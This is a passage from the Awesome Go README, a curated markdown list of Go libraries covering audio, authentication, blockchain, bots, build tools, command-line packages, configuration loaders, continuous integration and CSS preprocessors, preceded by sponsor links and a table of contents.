</td>
<td>
<a href="https://bit.ly/awesome-go-keygen">
<img src="https://avelino.run/sponsors/keygen-logo.png" width="200" alt="keygen"><br/>
<b>An open, source-available software licensing and distribution API.</b><br/>
<sub>Securely license and distribute Go applications with a single API.</sub><br>
<sup>Add auto updates with only a few lines of code.</sup>
</a>
</td>
</tr>
<tr>
<td colspan="2">
<a href="https://bit.ly/awesome-go-digitalocean">
<img src="https://avelino.run/sponsors/do_logo_horizontal_blue-210.png" width="200" alt="Digital Ocean">
</a>
</td>
</tr>
</tbody>
</table>
</div>
**Awesome Go has no monthly fee**_, but we have employees who **work hard** to keep it running. With money raised, we can repay the effort of each person involved! You can see how we calculate our billing and distribution as it is open to the entire community. Want to be a supporter of the project click [here](mailto:avelinorun+oss@gmail.com?subject=awesome-go%3A%20project%20support)._
> A curated list of awesome Go frameworks, libraries, and software. Inspired by [awesome-python](https://github.com/vinta/awesome-python).
**Contributing:**
Please take a quick gander at the [contribution guidelines](https://github.com/avelino/awesome-go/blob/main/CONTRIBUTING.md) first. Thanks to all [contributors](https://github.com/avelino/awesome-go/graphs/contributors); you rock!
> _If you see a package or project here that is no longer maintained or is not a good fit, please submit a pull request to improve this file. Thank you!_
## Contents
- [Awesome Go](#awesome-go)
- [Contents](#contents)
- [Audio and Music](#audio-and-music)
- [Authentication and OAuth](#authentication-and-oauth)
- [Blockchain](#blockchain)
- [Bot Building](#bot-building)
- [Build Automation](#build-automation)
- [Command Line](#command-line)
- [Advanced Console UIs](#advanced-console-uis)
- [Standard CLI](#standard-cli)
- [Configuration](#configuration)
- [Continuous Integration](#continuous-integration)
- [CSS Preprocessors](#css-preprocessors)
- [Data Structures and Algorithms](#data-structures-and-algorithms)
- [Bit-packing and Compression](#bit-packing-and-compression)
- [Bit Sets](#bit-sets)
- [Bloom and Cuckoo Filters](#bloom-and-cuckoo-filters)
- [Data Structure and Algorithm Collections](#data-structure-and-algorithm-collections)
- [Iterators](#iterators)
- [Maps](#maps)
- [Miscellaneous Data Structures and Algorithms](#miscellaneous-data-structures-and-algorithms)
- [Nullable Types](#nullable-types)
- [Queues](#queues)
- [Sets](#sets)
- [Text Analysis](#text-analysis)
- [Trees](#trees)
- [Pipes](#pipes)
- [Database](#database)
- [Caches](#caches)
- [Databases Implemented in Go](#databases-implemented-in-go)
- [Database Schema Migration](#database-schema-migration)
- [Database Tools](#database-tools)
- [SQL Query Builders](#sql-query-builders)
- [Database Drivers](#database-drivers)
- [Interfaces to Multiple Backends](#interfaces-to-multiple-backends)
- [Relational Database Drivers](#relational-database-drivers)
- [NoSQL Database Drivers](#nosql-database-drivers)
- [Search and Analytic Databases](#search-and-analytic-databases)
- [Date and Time](#date-and-time)
- [Distributed Systems](#distributed-systems)
- [Dynamic DNS](#dynamic-dns)
- [Email](#email)
- [Embeddable Scripting Languages](#embeddable-scripting-languages)
- [Error Handling](#error-handling)
- [File Handling](#file-handling)
- [Financial](#financial)
- [Forms](#forms)
- [Functional](#functional)
- [Game Development](#game-development)
- [Generators](#generators)
- [Geographic](#geographic)
- [Go Compilers](#go-compilers)
- [Goroutines](#goroutines)
- [GUI](#gui)
- [Hardware](#hardware)
- [Images](#images)
- [IoT (Internet of Things)](#iot-internet-of-things)
- [Job Scheduler](#job-scheduler)
- [JSON](#json)
- [Logging](#logging)
- [Machine Learning](#machine-learning)
- [Messaging](#messaging)
- [Microsoft Office](#microsoft-office)
- [Microsoft Excel](#microsoft-excel)
- [Miscellaneous](#miscellaneous)
- [Dependency Injection](#dependency-injection)
- [Project Layout](#project-layout)
- [Strings](#strings)
- [Uncategorized](#uncategorized)
- [Natural Language Processing](#natural-language-processing)
- [Language Detection](#language-detection)
- [Morphological Analyzers](#morphological-analyzers)
- [Slugifiers](#slugifiers)
- [Tokenizers](#tokenizers)
- [Translation](#translation)
- [Transliteration](#transliteration)
- [Networking](#networking)
- [HTTP Clients](#http-clients)
- [OpenGL](#opengl)
- [ORM](#orm)
- [Package Management](#package-management)
- [Performance](#performance)
- [Query Language](#query-language)
- [Resource Embedding](#resource-embedding)
- [Science and Data Analysis](#science-and-data-analysis)
- [Security](#security)
- [Serialization](#serialization)
- [Server Applications](#server-applications)
- [Stream Processing](#stream-processing)
- [Template Engines](#template-engines)
- [Testing](#testing)
- [Text Processing](#text-processing)
- [Formatters](#formatters)
- [Markup Languages](#markup-languages)
- [Parsers/Encoders/Decoders](#parsersencodersdecoders)
- [Regular Expressions](#regular-expressions)
- [Sanitation](#sanitation)
- [Scrapers](#scrapers)
- [RSS](#rss)
- [Utility/Miscellaneous](#utilitymiscellaneous)
- [Third-party APIs](#third-party-apis)
- [Utilities](#utilities)
- [UUID](#uuid)
- [Validation](#validation)
- [Version Control](#version-control)
- [Video](#video)
- [Web Frameworks](#web-frameworks)
- [Middlewares](#middlewares)
- [Actual middlewares](#actual-middlewares)
- [Libraries for creating HTTP middlewares](#libraries-for-creating-http-middlewares)
- [Routers](#routers)
- [WebAssembly](#webassembly)
- [Windows](#windows)
- [XML](#xml)
- [Zero Trust](#zero-trust)
- [Code Analysis](#code-analysis)
- [Editor Plugins](#editor-plugins)
- [Go Generate Tools](#go-generate-tools)
- [Go Tools](#go-tools)
- [Software Packages](#software-packages)
- [DevOps Tools](#devops-tools)
- [Other Software](#other-software)
- [Resources](#resources)
- [Benchmarks](#benchmarks)
- [Conferences](#conferences)
- [E-Books](#e-books)
- [E-books for purchase](#e-books-for-purchase)
- [Free e-books](#free-e-books)
- [Gophers](#gophers)
- [Meetups](#meetups)
- [Style Guides](#style-guides)
- [Social Media](#social-media)
- [Twitter](#twitter)
- [Reddit](#reddit)
- [Websites](#websites)
- [Tutorials](#tutorials)
- [Guided Learning Paths](#guided-learning)
**[⬆ back to top](#contents)**
## Audio and Music
_Libraries for manipulating audio._
- [flac](https://github.com/mewkiz/flac) - Native Go FLAC encoder/decoder with support for FLAC streams.
- [gaad](https://github.com/Comcast/gaad) - Native Go AAC bitstream parser.
- [GoAudio](https://github.com/DylanMeeus/GoAudio) - Native Go Audio Processing Library.
- [gosamplerate](https://github.com/dh1tw/gosamplerate) - libsamplerate bindings for go.
- [id3v2](https://github.com/bogem/id3v2) - ID3 decoding and encoding library for Go.
- [malgo](https://github.com/gen2brain/malgo) - Mini audio library.
- [minimp3](https://github.com/tosone/minimp3) - Lightweight MP3 decoder library.
- [Oto](https://github.com/hajimehoshi/oto) - A low-level library to play sound on multiple platforms.
- [PortAudio](https://github.com/gordonklaus/portaudio) - Go bindings for the PortAudio audio I/O library.
**[⬆ back to top](#contents)**
## Authentication and OAuth
_Libraries for implementing authentication schemes._
- [authboss](https://github.com/volatiletech/authboss) - Modular authentication system for the web. It tries to remove as much boilerplate and "hard things" as possible so that each time you start a new web project in Go, you can plug it in, configure it, and start building your app without having to build an authentication system each time.
- [branca](https://github.com/essentialkaos/branca) - branca token [specification implementation](https://github.com/tuupola/branca-spec) for Golang 1.15+.
- [casbin](https://github.com/hsluoyz/casbin) - Authorization library that supports access control models like ACL, RBAC, and ABAC.
- [cookiestxt](https://github.com/mengzhuo/cookiestxt) - provides a parser of cookies.txt file format.
- [go-guardian](https://github.com/shaj13/go-guardian) - Go-Guardian is a golang library that provides a simple, clean, and idiomatic way to create powerful modern API and web authentication that supports LDAP, Basic, Bearer token, and Certificate based authentication.
- [go-jose](https://github.com/go-jose/go-jose) - Fairly complete implementation of the JOSE working group's JSON Web Token, JSON Web Signatures, and JSON Web Encryption specs.
- [gologin](https://github.com/dghubble/gologin) - chainable handlers for login with OAuth1 and OAuth2 authentication providers.
- [gorbac](https://github.com/mikespook/gorbac) - provides a lightweight role-based access control (RBAC) implementation in Golang.
- [gosession](http://github.com/Kwynto/gosession) - This is quick session for net/http in GoLang. This package is perhaps the best implementation of the session mechanism, or at least it tries to become one.
- [goth](https://github.com/markbates/goth) - provides a simple, clean, and idiomatic way to use OAuth and OAuth2. Handles multiple providers out of the box.
- [jeff](https://github.com/abraithwaite/jeff) - Simple, flexible, secure, and idiomatic web session management with pluggable backends.
- [jwt](https://github.com/pascaldekloe/jwt) - Lightweight JSON Web Token (JWT) library.
- [jwt](https://github.com/cristalhq/jwt) - Safe, simple, and fast JSON Web Tokens for Go.
- [jwt-auth](https://github.com/adam-hanna/jwt-auth) - JWT middleware for Golang http servers with many configuration options.
- [jwt-go](https://github.com/golang-jwt/jwt) - A full featured implementation of JSON Web Tokens (JWT). This library supports the parsing and verification as well as the generation and signing of JWTs.
- [keto](https://github.com/ory/keto) - Open Source (Go) implementation of "Zanzibar: Google's Consistent, Global Authorization System". Ships gRPC, REST APIs, newSQL, and an easy and granular permission language. Supports ACL, RBAC, and other access models.
- [loginsrv](https://github.com/tarent/loginsrv) - JWT login microservice with plugable backends such as OAuth2 (Github), htpasswd, osiam.
- [oauth2](https://github.com/golang/oauth2) - Successor of goauth2. Generic OAuth 2.0 package that comes with JWT, Google APIs, Compute Engine, and App Engine support.
- [osin](https://github.com/openshift/osin) - Golang OAuth2 server library.
- [otpgen](https://github.com/grijul/otpgen) - Library to generate TOTP/HOTP codes.
- [otpgo](https://github.com/jltorresm/otpgo) - Time-Based One-Time Password (TOTP) and HMAC-Based One-Time Password (HOTP) library for Go.
- [paseto](https://github.com/o1egl/paseto) - Golang implementation of Platform-Agnostic Security Tokens (PASETO).
- [permissions2](https://github.com/xyproto/permissions2) - Library for keeping track of users, login states, and permissions. Uses secure cookies and bcrypt.
- [scope](https://github.com/SonicRoshan/scope) - Easily Manage OAuth2 Scopes In Go.
- [scs](https://github.com/alexedwards/scs) - Session Manager for HTTP servers.
- [securecookie](https://github.com/chmike/securecookie) - Efficient secure cookie encoding/decoding.
- [session](https://github.com/icza/session) - Go session management for web servers (including support for Google App Engine - GAE).
- [sessions](https://github.com/adam-hanna/sessions) - Dead simple, highly performant, highly customizable sessions service for go http servers.
- [sessionup](https://github.com/swithek/sessionup) - Simple, yet effective HTTP session management and identification package.
- [sjwt](https://github.com/brianvoe/sjwt) - Simple jwt generator and parser.
**[⬆ back to top](#contents)**
## Blockchain
_Tools for building blockchains._
- [cometbft](https://github.com/cometbft/cometbft) - A distributed, Byzantine fault-tolerant, deterministic state machine replication engine. It is a fork of Tendermint Core and implements the Tendermint consensus algorithm.
- [cosmos-sdk](https://github.com/cosmos/cosmos-sdk) - A Framework for Building Public Blockchains in the Cosmos Ecosystem.
- [go-ethereum](https://github.com/ethereum/go-ethereum) - Official Go implementation of the Ethereum protocol.
- [gossamer](https://github.com/ChainSafe/gossamer) - A Go implementation of the Polkadot Host.
- [solana-go](https://github.com/gagliardetto/solana-go) - Go library to interface with Solana JSON RPC and WebSocket interfaces.
- [tendermint](https://github.com/tendermint/tendermint) - High-performance middleware for transforming a state machine written in any programming language into a Byzantine Fault Tolerant replicated state machine using the Tendermint consensus and blockchain protocols.
**[⬆ back to top](#contents)**
## Bot Building
_Libraries for building and working with bots._
- [bot](https://github.com/go-telegram/bot) - Zero-dependencies Telegram Bot library with additional UI components
- [echotron](https://github.com/NicoNex/echotron) - An elegant and concurrent library for Telegram Bots in Go.
- [ephemeral-roles](https://github.com/ewohltman/ephemeral-roles) - A Discord bot for managing ephemeral roles based upon voice channel member presence.
- [go-chat-bot](https://github.com/go-chat-bot/bot) - IRC, Slack & Telegram bot written in Go.
- [go-joe](https://joe-bot.net) - A general-purpose bot library inspired by Hubot but written in Go.
- [go-sarah](https://github.com/oklahomer/go-sarah) - Framework to build a bot for desired chat services including LINE, Slack, Gitter, and more.
- [go-tgbot](https://github.com/olebedev/go-tgbot) - Pure Golang Telegram Bot API wrapper, generated from swagger file, session-based router, and middleware.
- [go-twitch-irc](https://github.com/gempir/go-twitch-irc) - Library to write bots for twitch.tv chat
- [Golang CryptoTrading Bot](https://github.com/saniales/golang-crypto-trading-bot) - A golang implementation of a console-based trading bot for cryptocurrency exchanges.
- [govkbot](https://github.com/nikepan/govkbot) - Simple Go [VK](https://vk.com) bot library.
- [hanu](https://github.com/sbstjn/hanu) - Framework for writing Slack bots.
- [Kelp](https://github.com/stellar/kelp) - official trading and market-making bot for the [Stellar](https://www.stellar.org/) DEX. Works out-of-the-box, written in Golang, compatible with centralized exchanges and custom trading strategies.
- [larry](https://github.com/ezeoleaf/larry) - Larry 🐦 is a really simple Twitter bot generator that tweets random repositories from Github built in Go.
- [margelet](https://github.com/zhulik/margelet) - Framework for building Telegram bots.
- [micha](https://github.com/onrik/micha) - Go Library for Telegram bot api.
- [olivia](https://github.com/olivia-ai/olivia) - A chatbot built with an artificial neural network.
- [slack-bot](https://github.com/innogames/slack-bot) - Ready to use Slack Bot for lazy developers: Custom commands, Jenkins, Jira, Bitbucket, Github...
- [slacker](https://github.com/shomali11/slacker) - Easy to use framework to create Slack bots.
- [slackscot](https://github.com/alexandre-normand/slackscot) - Another framework for building Slack bots.
- [tbot](https://github.com/yanzay/tbot) - Telegram bot server with API similar to net/http.
- [telebot](https://github.com/tucnak/telebot) - Telegram bot framework is written in Go.
- [telego](https://github.com/mymmrac/telego) - Telegram Bot API library for Golang with full one-to-one API implementation.
- [telegram-bot-api](https://github.com/Syfaro/telegram-bot-api) - Simple and clean Telegram bot client.
- [teleterm](https://github.com/alfiankan/teleterm) - Telegram Bot Exec Terminal Command.
- [Tenyks](https://github.com/kyleterry/tenyks) - Service oriented IRC bot using Redis and JSON for messaging.
- [wayback](https://github.com/wabarc/wayback) - A bot for Telegram, Mastodon, Slack, and other messaging platforms archives webpages.
**[⬆ back to top](#contents)**
## Build Automation
_Libraries and tools help with build automation._
- [1build](https://github.com/gopinath-langote/1build) - Command line tool to frictionlessly manage project-specific commands.
- [anko](https://github.com/GuilhermeCaruso/anko) - Simple application watcher for multiple programming languages.
- [gaper](https://github.com/maxcnunes/gaper) - Builds and restarts a Go project when it crashes or some watched file changes.
- [gilbert](https://go-gilbert.github.io) - Build system and task runner for Go projects.
- [goyek](https://github.com/goyek/goyek) - Create build pipelines in Go.
- [mage](https://github.com/magefile/mage) - Mage is a make/rake-like build tool using Go.
- [mmake](https://github.com/tj/mmake) - Modern Make.
- [realize](https://github.com/tockins/realize) - Go build a system with file watchers and live to reload. Run, build and watch file changes with custom paths.
- [Task](https://github.com/go-task/task) - simple "Make" alternative.
- [taskctl](https://github.com/taskctl/taskctl) - Concurrent task runner.
- [xc](https://github.com/joerdav/xc) - Task runner with README.md defined tasks, executable markdown.
**[⬆ back to top](#contents)**
## Command Line
### Advanced Console UIs
_Libraries for building Console Applications and Console User Interfaces._
- [asciigraph](https://github.com/guptarohit/asciigraph) - Go package to make lightweight ASCII line graph ╭┈╯ in command line apps with no other dependencies.
- [aurora](https://github.com/logrusorgru/aurora) - ANSI terminal colors that support fmt.Printf/Sprintf.
- [box-cli-maker](https://github.com/Delta456/box-cli-maker) - Make Highly Customized Boxes for your CLI.
- [bubble-table](https://github.com/Evertras/bubble-table) - An interactive table component for bubbletea.
- [bubbles](https://github.com/charmbracelet/bubbles) - TUI components for bubbletea.
- [bubbletea](https://github.com/charmbracelet/bubbletea) - Go framework to build terminal apps, based on The Elm Architecture.
- [cfmt](https://github.com/mingrammer/cfmt) - Contextual fmt inspired by bootstrap color classes.
- [cfmt](https://github.com/i582/cfmt) - Simple and convenient formatted stylized output fully compatible with fmt library.
- [chalk](https://github.com/ttacon/chalk) - Intuitive package for prettifying terminal/console output.
- [colourize](https://github.com/TreyBastian/colourize) - Go library for ANSI colour text in terminals.
- [crab-config-files-templating](https://github.com/alfiankan/crab-config-files-templating) - Dynamic configuration file templating tool for kubernetes manifest or general configuration files.
- [ctc](https://github.com/wzshiming/ctc) - The non-invasive cross-platform terminal color library does not need to modify the Print method.
- [go-ataman](https://github.com/workanator/go-ataman) - Go library for rendering ANSI colored text templates in terminals.
- [go-colorable](https://github.com/mattn/go-colorable) - Colorable writer for windows.
- [go-colortext](https://github.com/daviddengcn/go-colortext) - Go library for color output in terminals.
- [go-isatty](https://github.com/mattn/go-isatty) - isatty for golang.
- [go-palette](https://github.com/abusomani/go-palette) - Go library that provides elegant and convenient style definitions using ANSI colors. Fully compatible & wraps the [fmt library](https://pkg.go.dev/fmt) for nice terminal layouts.
- [go-prompt](https://github.com/c-bata/go-prompt) - Library for building a powerful interactive prompt, inspired by [python-prompt-toolkit](https://github.com/jonathanslenders/python-prompt-toolkit).
- [gocui](https://github.com/jroimartin/gocui) - Minimalist Go library aimed at creating Console User Interfaces.
- [gommon/color](https://github.com/labstack/gommon/tree/master/color) - Style terminal text.
- [gookit/color](https://github.com/gookit/color) - Terminal color rendering tool library, support 16 colors, 256 colors, RGB color rendering output, compatible with Windows.
- [lipgloss](https://github.com/charmbracelet/lipgloss) - Declaratively define styles for color, format and layout in the terminal.
- [marker](https://github.com/cyucelen/marker) - Easiest way to match and mark strings for colorful terminal outputs.
- [mpb](https://github.com/vbauerster/mpb) - Multi progress bar for terminal applications.
- [progressbar](https://github.com/schollz/progressbar) - Basic thread-safe progress bar that works in every OS.
- [pterm](https://github.com/pterm/pterm) - A library to beautify console output on every platform with many combinable components.
- [simpletable](https://github.com/alexeyco/simpletable) - Simple tables in a terminal with Go.
- [spinner](https://github.com/briandowns/spinner) - Go package to easily provide a terminal spinner with options.
- [tabby](https://github.com/cheynewallace/tabby) - A tiny library for super simple Golang tables.
- [table](https://github.com/tomlazar/table) - Small library for terminal color based tables .
- [tabular](https://github.com/InVisionApp/tabular) - Print ASCII tables from command line utilities without the need to pass large sets of data to the API.
- [termbox-go](https://github.com/nsf/termbox-go) - Termbox is a library for creating cross-platform text-based interfaces.
- [termdash](https://github.com/mum4k/termdash) - Go terminal dashboard based on **termbox-go** and inspired by [termui](https://github.com/gizak/termui).
- [termenv](https://github.com/muesli/termenv) - Advanced ANSI style & color support for your terminal applications.
- [termui](https://github.com/gizak/termui) - Go terminal dashboard based on **termbox-go** and inspired by [blessed-contrib](https://github.com/yaronn/blessed-contrib).
- [uilive](https://github.com/gosuri/uilive) - Library for updating terminal output in real time.
- [uiprogress](https://github.com/gosuri/uiprogress) - Flexible library to render progress bars in terminal applications.
- [uitable](https://github.com/gosuri/uitable) - Library to improve readability in terminal apps using tabular data.
- [yacspin](https://github.com/theckman/yacspin) - Yet Another CLi Spinner package, for working with terminal spinners.
**[⬆ back to top](#contents)**
### Standard CLI
_Libraries for building standard or basic Command Line applications._
- [acmd](https://github.com/cristalhq/acmd) - Simple, useful, and opinionated CLI package in Go.
- [argparse](https://github.com/akamensky/argparse) - Command line argument parser inspired by Python's argparse module.
- [argv](https://github.com/cosiner/argv) - Go library to split command line string as arguments array using the bash syntax.
- [carapace](https://github.com/rsteube/carapace) - Command argument completion generator for spf13/cobra.
- [carapace-bin](https://github.com/rsteube/carapace-bin) - Multi-shell multi-command argument completer.
- [carapace-spec](https://github.com/rsteube/carapace-spec) - Define simple completions using a spec file.
- [cli](https://github.com/mkideal/cli) - Feature-rich and easy to use command-line package based on golang struct tags.
- [cli](https://github.com/teris-io/cli) - Simple and complete API for building command line interfaces in Go.
- [climax](https://github.com/tucnak/climax) - Alternative CLI with "human face", in spirit of Go command.
- [clîr](https://github.com/leaanthony/clir) - A Simple and Clear CLI library. Dependency free.
- [cmd](https://github.com/posener/cmd) - Extends the standard `flag` package to support sub commands and more in idiomatic way.
- [cmdr](https://github.com/hedzr/cmdr) - A POSIX/GNU style, getopt-like command-line UI Go library.
- [cobra](https://github.com/spf13/cobra) - Commander for modern Go CLI interactions.
- [command-chain](https://github.com/rainu/go-command-chain) - A go library for configure and run command chains - such as pipelining in unix shells.
- [commandeer](https://github.com/jaffee/commandeer) - Dev-friendly CLI apps: sets up flags, defaults, and usage based on struct fields and tags.
- [complete](https://github.com/posener/complete) - Write bash completions in Go + Go command bash completion.
- [Dnote](https://github.com/dnote/dnote) - A simple command line notebook with multi-device sync.
- [elvish](https://github.com/elves/elvish) - An expressive programming language and a versatile interactive shell.
- [env](https://github.com/codingconcepts/env) - Tag-based environment configuration for structs.
- [flag](https://github.com/cosiner/flag) - Simple but powerful command line option parsing library for Go supporting subcommand.
- [flaggy](https://github.com/integrii/flaggy) - A robust and idiomatic flags package with excellent subcommand support.
- [flagvar](https://github.com/sgreben/flagvar) - A collection of flag argument types for Go's standard `flag` package.
- [go-andotp](https://github.com/grijul/go-andotp) - A CLI program to encrypt/decrypt [andOTP](https://github.com/andOTP/andOTP) files. Can be used as a library as well.
- [go-arg](https://github.com/alexflint/go-arg) - Struct-based argument parsing in Go.
- [go-commander](https://github.com/yitsushi/go-commander) - Go library to simplify CLI workflow.
- [go-flags](https://github.com/jessevdk/go-flags) - go command line option parser.
- [go-getoptions](https://github.com/DavidGamba/go-getoptions) - Go option parser inspired by the flexibility of Perl’s GetOpt::Long.
- [gocmd](https://github.com/devfacet/gocmd) - Go library for building command line applications.
- [hiboot cli](https://github.com/hidevopsio/hiboot/tree/master/pkg/app/cli) - cli application framework with auto configuration and dependency injection.
- [job](https://github.com/liujianping/job) - JOB, make your short-term command as a long-term job.
- [kingpin](https://github.com/alecthomas/kingpin) - Command line and flag parser supporting sub commands (superseded by `kong`; see below).
- [liner](https://github.com/peterh/liner) - Go readline-like library for command-line interfaces.
- [mcli](https://github.com/jxskiss/mcli) - A minimal but very powerful cli library for Go.
- [mitchellh/cli](https://github.com/mitchellh/cli) - Go library for implementing command-line interfaces.
- [mow.cli](https://github.com/jawher/mow.cli) - Go library for building CLI applications with sophisticated flag and argument parsing and validation.
- [ops](https://github.com/nanovms/ops) - Unikernel Builder/Orchestrator.
- [pflag](https://github.com/spf13/pflag) - Drop-in replacement for Go's flag package, implementing POSIX/GNU-style --flags.
- [readline](https://github.com/reeflective/readline) Shell library with modern and easy to use UI features.
- [sand](https://github.com/Zaba505/sand) - Simple API for creating interpreters and so much more.
- [sflags](https://github.com/octago/sflags) - Struct based flags generator for flag, urfave/cli, pflag, cobra, kingpin, and other libraries.
- [strumt](https://github.com/antham/strumt) - Library to create prompt chain.
- [subcmd](https://github.com/bobg/subcmd) - Another approach to parsing and running subcommands. Works alongside the standard `flag` package.
- [survey](https://github.com/go-survey/survey) - Build interactive and accessible prompts with full support for windows and posix terminals.
- [ts](https://github.com/liujianping/ts) - Timestamp convert & compare tool.
- [ukautz/clif](https://github.com/ukautz/clif) - Small command line interface framework.
- [urfave/cli](https://github.com/urfave/cli) - Simple, fast, and fun package for building command line apps in Go (formerly codegangsta/cli).
- [version](https://github.com/mszostok/version) - Collects and displays CLI version information in multiple formats along with upgrade notice.
- [wlog](https://github.com/dixonwille/wlog) - Simple logging interface that supports cross-platform color and concurrency.
- [wmenu](https://github.com/dixonwille/wmenu) - Easy to use menu structure for cli applications that prompt users to make choices.
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## Configuration
_Libraries for configuration parsing._
- [aconfig](https://github.com/cristalhq/aconfig) - Simple, useful and opinionated config loader.
- [cleanenv](https://github.com/ilyakaznacheev/cleanenv) - Minimalistic configuration reader (from files, ENV, and wherever you want).
- [config](https://github.com/JeremyLoy/config) - Cloud native application configuration. Bind ENV to structs in only two lines.
- [config](https://github.com/num30/config) - configure you app using file, environment variables, or flags in two lines of code
- [config](https://github.com/olebedev/config) - JSON or YAML configuration wrapper with environment variables and flags parsing.
- [configuration](https://github.com/BoRuDar/configuration) - Library for initializing configuration structs from env variables, files, flags and 'default' tag.
- [configure](https://github.com/paked/configure) - Provides configuration through multiple sources, including JSON, flags and environment variables.
- [configuro](https://github.com/sherifabdlnaby/configuro) - opinionated configuration loading & validation framework from ENV and Files focused towards 12-Factor compliant applications.
- [confita](https://github.com/heetch/confita) - Load configuration in cascade from multiple backends into a struct.
- [conflate](https://github.com/the4thamigo-uk/conflate) - Library/tool to merge multiple JSON/YAML/TOML files from arbitrary URLs, validation against a JSON schema, and application of default values defined in the schema.
- [env](https://github.com/caarlos0/env) - Parse environment variables to Go structs (with defaults).
- [env](https://github.com/junk1tm/env) - A lightweight package for loading environment variables into structs.
- [envcfg](https://github.com/tomazk/envcfg) - Un-marshaling environment variables to Go structs.
- [envconf](https://github.com/ian-kent/envconf) - Configuration from environment.
- [envconfig](https://github.com/vrischmann/envconfig) - Read your configuration from environment variables.
- [envh](https://github.com/antham/envh) - Helpers to manage environment variables.
- [fig](https://github.com/kkyr/fig) - Tiny library for reading configuration from a file and from environment variables (with validation & defaults).
- [gcfg](https://github.com/go-gcfg/gcfg) - read INI-style configuration files into Go structs; supports user-defined types and subsections.
- [genv](https://github.com/sakirsensoy/genv) - Read environment variables easily with dotenv support.
- [go-aws-ssm](https://github.com/PaddleHQ/go-aws-ssm) - Go package that fetches parameters from AWS System Manager - Parameter Store.
- [go-conf](https://github.com/ThomasObenaus/go-conf) - Simple library for application configuration based on annotated structs. It supports reading the configuration from environment variables, config files and command line parameters.
- [go-ini](https://github.com/subpop/go-ini) - A Go package that marshals and unmarshals INI-files.
- [go-ssm-config](https://github.com/ianlopshire/go-ssm-config) - Go utility for loading configuration parameters from AWS SSM (Parameter Store).
- [go-up](https://github.com/ufoscout/go-up) - A simple configuration library with recursive placeholders resolution and no magic.
- [goConfig](https://github.com/crgimenes/goConfig) - Parses a struct as input and populates the fields of this struct with parameters from command line, environment variables and configuration file.
- [godotenv](https://github.com/joho/godotenv) - Go port of Ruby's dotenv library (Loads environment variables from `.env`).
- [gofigure](https://github.com/ian-kent/gofigure) - Go application configuration made easy.
- [GoLobby/Config](https://github.com/golobby/config) - GoLobby Config is a lightweight yet powerful configuration manager for the Go programming language.
- [gone/jconf](https://github.com/One-com/gone/tree/master/jconf) - Modular JSON configuration. Keep you config structs along with the code they configure and delegate parsing to submodules without sacrificing full config serialization.
- [gonfig](https://github.com/milad-abbasi/gonfig) - Tag-based configuration parser which loads values from different providers into typesafe struct.
- [gookit/config](https://github.com/gookit/config) - application config manage(load,get,set). support JSON, YAML, TOML, INI, HCL. multi file load, data override merge.
- [harvester](https://github.com/beatlabs/harvester) - Harvester, a easy to use static and dynamic configuration package supporting seeding, env vars and Consul integration.
- [hjson](https://github.com/hjson/hjson-go) - Human JSON, a configuration file format for humans. Relaxed syntax, fewer mistakes, more comments.
- [hocon](https://github.com/gurkankaymak/hocon) - Configuration library for working with the HOCON(a human-friendly JSON superset) format, supports features like environment variables, referencing other values, comments and multiple files.
- [ingo](https://github.com/schachmat/ingo) - Flags persisted in an ini-like config file.
- [ini](https://github.com/go-ini/ini) - Go package to read and write INI files.
- [ini](https://github.com/wlevene/ini) - INI Parser & Write Library, Unmarshal to Struct,Marshal to Json,Write File,watch file.
- [joshbetz/config](https://github.com/joshbetz/config) - Small configuration library for Go that parses environment variables, JSON files, and reloads automatically on SIGHUP.
- [kelseyhightower/envconfig](https://github.com/kelseyhightower/envconfig) - Go library for managing configuration data from environment variables.
- [koanf](https://github.com/knadh/koanf) - Light weight, extensible library for reading config in Go applications. Built in support for JSON, TOML, YAML, env, command line.
- [konfig](https://github.com/lalamove/konfig) - Composable, observable and performant config handling for Go for the distributed processing era.
- [kong](https://github.com/alecthomas/kong) - Command-line parser with support for arbitrarily complex command-line structures and additional sources of configuration such as YAML, JSON, TOML, etc (successor to `kingpin`).
- [mini](https://github.com/sasbury/mini) - Golang package for parsing ini-style configuration files.
- [nasermirzaei89/env](https://github.com/nasermirzaei89/env) - Simple useful package for read environment variables.
- [nfigure](https://github.com/muir/nfigure) - Per-library struct-tag based configuration from command lines (Posix & Go-style); environment, JSON, YAML
- [onion](https://github.com/goraz/onion) - Layer based configuration for Go, Supports JSON, TOML, YAML, properties, etcd, env, and encryption using PGP.
- [piper](https://github.com/Yiling-J/piper) - Viper wrapper with config inheritance and key generation.
- [store](https://github.com/tucnak/store) - Lightweight configuration manager for Go.
- [swap](https://github.com/oblq/swap) - Instantiate/configure structs recursively, based on build environment. (YAML, TOML, JSON and env).
- [typenv](https://github.com/diegomarangoni/typenv) - Minimalistic, zero dependency, typed environment variables library.
- [uConfig](https://github.com/omeid/uconfig) - Lightweight, zero-dependency, and extendable configuration management.
- [viper](https://github.com/spf13/viper) - Go configuration with fangs.
- [xdg](https://github.com/adrg/xdg) - Go implementation of the [XDG Base Directory Specification](https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html) and [XDG user directories](https://wiki.archlinux.org/index.php/XDG_user_directories).
- [xdg](https://github.com/OpenPeeDeeP/xdg) - Cross platform package that follows the [XDG Standard](https://standards.freedesktop.org/basedir-spec/basedir-spec-latest.html).
**[⬆ back to top](#contents)**
## Continuous Integration
_Tools for help with continuous integration._
- [CDS](https://github.com/ovh/cds) - Enterprise-Grade CI/CD and DevOps Automation Open Source Platform.
- [drone](https://github.com/drone/drone) - Drone is a Continuous Integration platform built on Docker, written in Go.
- [duci](https://github.com/duck8823/duci) - A simple ci server no needs domain specific languages.
- [go-fuzz-action](https://github.com/jidicula/go-fuzz-action) - Use Go 1.18's built-in fuzz testing in GitHub Actions.
- [go-test-coverage](https://github.com/vladopajic/go-test-coverage) - Tool and GitHub action which reports issues when test coverage is below set threshold.
- [gomason](https://github.com/nikogura/gomason) - Test, Build, Sign, and Publish your go binaries from a clean workspace.
- [gotestfmt](https://github.com/GoTestTools/gotestfmt) - go test output for humans.
- [goveralls](https://github.com/mattn/goveralls) - Go integration for Coveralls.io continuous code coverage tracking system.
- [overalls](https://github.com/go-playground/overalls) - Multi-Package go project coverprofile for tools like goveralls.
- [roveralls](https://github.com/LawrenceWoodman/roveralls) - Recursive coverage testing tool.
- [woodpecker](https://github.com/woodpecker-ci/woodpecker) - Woodpecker is a community fork of the Drone CI system.
**[⬆ back to top](#contents)**
## CSS Preprocessors
_Libraries for preprocessing CSS files._
- [gcss](https://github.com/yosssi/gcss) - Pure Go CSS Preprocessor.
- [go-libsass](https://github.com/wellington/go-libsass) - Go wrapper to the 100% Sass compatible libsass project.
**[⬆ back to top](#contents)**
